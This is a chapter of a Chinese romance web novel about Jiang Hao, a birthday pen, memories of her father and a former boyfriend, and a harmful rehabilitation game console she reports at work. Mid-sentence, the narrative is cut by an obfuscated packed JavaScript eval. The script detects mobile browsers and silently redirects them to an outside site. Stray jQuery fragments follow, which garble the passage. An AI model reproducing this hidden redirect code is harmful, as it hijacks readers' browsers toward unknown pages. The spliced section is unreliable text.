“生日快乐,好好。”
程泛声说完这句便转过身,姜好抬起头,看着他双手插兜离去的背影,瞬间融入了那片温暖热闹之中,仿佛从未离开过。
她心头一颤,难以置信地拿出手机,指尖微颤着点开日历软件,再点开今天的日期。
是她的农历生日。
而她,已经很久不过农历生日。
很久不关注农历日期,连她自己也忘了,今天是她的生日。她本该在今天庆祝生日,只是习惯已悄然改变。
喧嚣过后,留下一地狼藉,以及堆得高高的礼物墙。
除去今天来的朋友,还有许多朋友、同事以及合作方,人未到礼到。
富贵人家送礼不止贵重,更要讲究别出心裁、讨主人喜欢。纵是安以愿,拆礼物时也惊叹连连:“好漂亮!哥,我拿走了啊?”
一百个礼物里,顶多有一两个很喜欢又能用上的。大部分只是出于礼尚往来的赠送,只有仓库落灰的命运。
安知序看也不看一眼,就答应妹妹:“嗯。”
姜好也在帮忙拆礼物,合作方送来的礼物,拆过后还要进行登记,毕竟大多需要回礼。
她拿起一个长方形、质感极重的礼盒。
盒子上没有任何logo,只在右下角有一个烫金的、极具设计感的C字花押。
心旌摇曳,姜好打开盒盖,黑天鹅绒衬垫上,并排躺着两支钢笔。
一支银色,一支玫瑰金色,在灯光下流转着温润的光泽。
盒内附有一张极简的卡片,上面是手写的熟悉的字体:
祝安总生日快乐。新愈程泛声敬上。
安以愿凑过来看了一眼,“哇”了一声:“泛声送的呀?还挺会选,爸是不是也有一支这个牌子的钢笔?”
她拿起银色那支,递到安知序眼下:“你喜不喜欢?嗯?”
姜好拿起那支玫瑰金的钢笔,看着很有质感,笔身却很轻盈。笔帽上,她的指腹触到了一处细微的刻痕。
是今天的日期。
是什么时候开始不过农历生日,开始按照阳历过生日呢?
脑海里蓦然出现这句话,姜好的思绪像只漂流瓶,开始随波逐流,飘向遥远的过去。
姜书昀是语文老师。他和他那个年代大部分的老师不同,不是因为铁饭碗,才选择当老师。
姜书昀是真的喜欢语文,热爱文学,热爱中国文化。
他带过的每一个班级都设有图书角。姜书昀不要求学生们捐赠,相反那些书都是他自己从家里背过去的。
姜好家里有很多很多书,不止书柜,床上、地上、桌上皆是。记忆里,姜书昀每次回来,手里总是拿着新买的书。
这件事,就连柳黛也很少批评他。
这是柳黛唯一可以忍受的兴趣爱好。
那些书背到学校后,总算减轻一点家务。姜书昀要求学生每两周写一篇读后感,学生们哀叹连天,姜书昀却说两周读一本书已经很慢了。
姜书昀带过的每个班,都是那届语文成绩最好的。
姜书昀对语文的这种固执,不仅对学生是这样,对家人,他从小就会领着姜好认繁体字。
他说,繁体字才是中华文明的精髓。
时至今日,姜好也会写一些常用的繁体字。
除此之外,他过农历生日、姜好也从小过农历生日,从不按照身份证上的日期过生日。
因为每年生日日期都不一样,从小到大经常有朋友错过姜好的生日,礼物不是提前就是迟到。
不过久而久之,姜好也就习惯了。要好的朋友自然会记得,不记得的,那就是不那么要好的朋友,何须他们的生日祝福。
答应程泛声表白那天,刚好是她的十九岁生日。
姜好和大学室友关系还不错,但姜好不会和她们一起庆祝生日。
就算当晚和程泛声在一起,她也没有提起今天是自己的生日。
因为从小到大的每一次生日,姜书昀都珍重对之,就像古代的及笄礼。姜好一年比一年期待生日,姜书昀也从不让她的期望落空。
那天已晚,姜好不想仅仅得到一句“生日快乐”。
与其敷衍,不如不过。
一周后,程泛声问她,下个月就是你生日了,准备怎么过呢?
她才说,我的生日已经过了,是上周五。我俩在一起那天。
程泛声不解:“你身份证上的日期不是5月8号吗?”
“我只过农历的生日。”
5月8号那天,姜好还是收到鲜花、蛋糕以及礼物。程泛声歉疚地说,好好,抱歉,今年的生日只能在今天补给你。
第二年的农历生日,姜好在清晨收到柳黛打来的电话。
今天没课,她不想惊动熟睡的室友,却也不想就此挂断许久没有打通过的电话,她下床来到阳台,听柳黛说话。
明明很简单的一通电话,却因为发生在生日那天,她竟然感受到母爱,无比幸福。
一直有电话打进来,她不在意,只是专注地和柳黛说话。
后来她趴在栏杆上向下望,才发现程泛声。
本该出现在课室的他,此刻立在一辆摩托旁,一直笑眯眯地望着她。
不知看了多久。
姜好不会因为有人忘记她的生日就给他扣分。但是,绝对会因为有人牢记并用心对待而给他加分。
那几天里程泛声只字未提生日,连她自己都已忘记,本以为他也不记得了。
可是那天,他翘课出现在她寝室楼下,带她去了十公里外的公园。
他们在阳光晒满的山坡上野餐,姜好没有问他蛋糕从哪里变出来的,因为在她心里,程泛声无所不能,和魔术师又有什么区别呢。
后来红日西沉,人渐渐散去,程泛声向她靠近,他们一次次地接吻。
她的一只手撑在野餐垫上,因为用力,底下的小草也更加用力地挠她的掌心,酥酥麻麻的。
她的思绪一次次被程泛声的双唇掠夺,他们离得越来越近,他一直耐心地一遍遍地吻她,姜好的世界里只剩下程泛声的眼睛,程泛声的鼻梁,还有紧紧贴在一起的双唇。
余光里,姜好看见,远山落日的盛光,如同一枚金灿灿的金币,落在她的手心。她攥紧手,想要把那枚金币,永远地、永远地牢牢抓住。
那一天,就像一条晒足整日太阳的厚棉被,每当姜好想起,浑身被裹得暖融融的,仿佛还能闻见那时阳光的味道。
阳光的味道。
只有闻过的人才知道,那有多么温暖。
后来离开中国,来到美国。
不论在哪个国度,生日永远是常常被提及的话题。被问起生日,面对异国友人,姜好不想解释农历是什么,故而只回答阳历生日。面对中国朋友,他们大多开放、新潮,姜好莫名对“农历”两个字有了耻意。
这是原因之一。
第二个原因,是姜好知道,生日只是和别人维系感情的一个简单的一天,不是谁都会像姜书昀一样赋予它别样的含义。
别人有心和你维系感情就足够了,怎么还能说农历生日再为难别人。
5月8日那天,姜好结束一天的课程,从学校回家,回到她和安知序居住的小屋。
整个屋子里黑漆漆的,她有些疑惑地喊他的名字:“知序?你还没回家吗?”她伸手去开灯。
伴随灯光打开,突如其来的砰砰声,她下意识捂紧耳朵,五颜六色的彩带落在她的身上。
“HappyBirthdaytoyou!”
小小的屋子挤满了朋友,大大的蛋糕,多多的礼物。
后来,姜好就只过5月8号的生日,再未向他人提过农历的生日。
……
“咦?”安以愿举起钢笔,转向灯光,仔细看去:“哇,哥哥,这上面还刻了你的生日呢。”
思绪回笼,姜好举起手中的钢笔:“这支也刻了。”
安以愿从她手里拿过那支玫瑰金钢笔,在灯光的映衬下,两支钢笔微微泛着珠光,更漂亮了。
“哎,泛声是不是送给你们两个人的啊?刚好一个银一个粉。你俩一人一支?”
“有心了。”安知序说,他很喜欢这种有人捧着他和姜好的感觉,“明天我带去公司吧,公司里刚好缺一支好用的钢笔。好好,另外一支你就拿着用吧。”
“不用了。”姜好说,“……太贵重了。”
“一支钢笔而已,就是拿来用的呀。”安以愿将玫瑰金那支塞进她手里,“嫂嫂你晚上试一下,这个牌子的笔特别好用。你要是不喜欢,那就给我用也行。”
“不许!”安知序呵斥一声,安以愿笑眯眯地缩缩脖子:“那你给我买一支咯,哥哥!”
姜好没有拿走那支钢笔,而是将它收进盒子里。
第二天上班,姜好刚走到治疗区走廊,就看见宋奶奶已经等在治疗室门口了。
“姜医生!姜医生!”
姜好赶紧加快脚步走过去,露出温和的笑容:“宋奶奶,您来这么早呀?离我们约的时间还有一会儿呢!”
“哦!我想着早点来,在门口等着,一会儿就能第一个做治疗!”
姜好带着她先去机子上签到,再领她进入治疗室,询问她上周的训练情况。
姜好一边听,一边接过她的病历本,打开包,想取出签字笔,却发现那支玫瑰金的钢笔躺在内袋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962818|191701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
一定是安以愿放进来的。
她出神一瞬,又立马回过神:“抱歉,我刚刚没听清,您是说您周五用游戏机训练时手忽然疼痛吗?”
“对啊!”宋奶奶抱怨起来,“我问客服,客服就说让我不要练了。”
“我不是说过,您先不要用游戏机训练了吗?等我评估后再看看您适不适合用。”姜好耐心地说,虽然有些责怪,但并没有生气。
宋奶奶顿时松了口气:“你让我把游戏机带过来,我带来了,姜医生,你赶紧帮我看一下。”
“不着急,我先了解一下您这一周的情况。疼痛时间多久?不玩游戏就不痛了吗,还是一直没有缓解?”
“我当时一疼呢,我立马就不玩了,过了一两小时就不疼了,不疼了我想着继续玩,结果没玩多久又开始疼……”
姜好打开笔帽,在病历上记录。钢笔出水流畅,写在纸上发出的沙沙声格外顺耳。写字速度不由加快。
问诊结束,姜好插上笔帽,指腹感受到数字的触感。
她仔细检查了宋奶奶带来的“游戏机”。
外观看起来就是一台游戏机,她试着推动旋钮和按钮,发现连最基本的力度调节都没有,也就是说,它没有为不同患者设置不同的力度,可能根本和普通游戏机没有任何区别。
姜好收起游戏机。
“游戏机先放在我这里,好吗?我需要再了解一下这款游戏机适不适合您使用。”姜好严肃地说,“现在,我需要为您做一次详细的评估。”
“可以可以。”宋奶奶连连答应。
结果发现,宋奶奶大概是因为玩游戏时手腕快速屈伸,过度刺激了原本就痉挛的屈肌群,导致了肌腱炎。
目前的训练只能暂停,姜好重新为她制定了更温和的康复方案,效率不比从前。
姜好严肃地告诫她:“以后您可千万不能擅自训练了!一定要经过我的同意才可以。”
宋奶奶知道自己做错了事,低着头,像个孩子:“唉,哎,我知道了,姜医生我以后一定都听你的。”
姜好吃过午饭后,就拿着游戏机到一间空病房,连上病房里的电视机后,将游戏机里的每一个游戏都尝试了一遍。
这些游戏都是大家熟悉的游戏,例如切水果、投篮,上至老人下至小孩,都可以轻松应对。对需要做康复训练的病人来说,枯燥训练中很难获得的成就感,在这里立马就可以获得。
上午的空闲时间里,姜好查阅过该游戏机厂商的宣传广告视频,快速获得成就感、增强信心,正是该游戏机的卖点之一。
然而,游戏设计一味追求爽感和积分,鼓励用户快速、用力地完成动作。
看似在训练,但游戏机没有安全锁止功能,身处游戏环境中,病人极其容易上头,而他们需要做康复的手根本经不起剧烈折腾。
姜好加班整理出宋奶奶的病历、自己的测试结果以及设备安全隐患,合成一份简单的报告,向上提交给OT科室主任、康复科以及住院部。
听宋奶奶说,她也是通过朋友推荐才开始使用游戏机进行独自训练的。这款游戏机很是风靡。
姜好希望治疗中心和住院部了解询问是否还有其它患者在使用类似设备,两位主任很快回复“收到”。
科室主任迟迟没有回复,姜好又给他发了一条消息:李主任,关于我提交的那份报告,您看到了吗?我想我们是不是可以尽快在科室内部做一个简单的问卷调查,或者让治疗师们在下一次治疗时,都口头询问一下患者是否在使用同类产品?防止再出现这样的情况。
李主任这次倒回复很快:来下我办公室。
姜好敲门而入,看见程泛声正坐在沙发上,李主任坐在他对面,气氛有些严肃,姜好的那份报告,就放在他们之间的桌上。
看见程泛声,姜好有些意外,垂下眼眸问好:“程总、李主任。”
李主任点点头,示意她坐:“报告我看了,写得很详细,我会在晨会时要求大家注意患者是否在使用类似设备。除此以外,这件事就到此为止吧。”
“到此为止?”姜好愣住,虽然她还没说她接下来的打算,但李主任就已经宣告结束。
“程总,李主任,我们不应该主动筛查,发布一个官方的警示,避免患者在家独自使用吗?”
“姜好。”程泛声冷冷地叫一声她的名字,似是叫她平静下来。
他顿了几秒,才继续道,“医院是一个复杂的体系,任何一个官方声明的发出,都需要经过严谨的法律和公关评估。现在,你质疑的这个产品,它一定是合法合规上市的,你以森愈的名义发布警示,在别人看来只不过是不正当竞争,不会有任何效果。”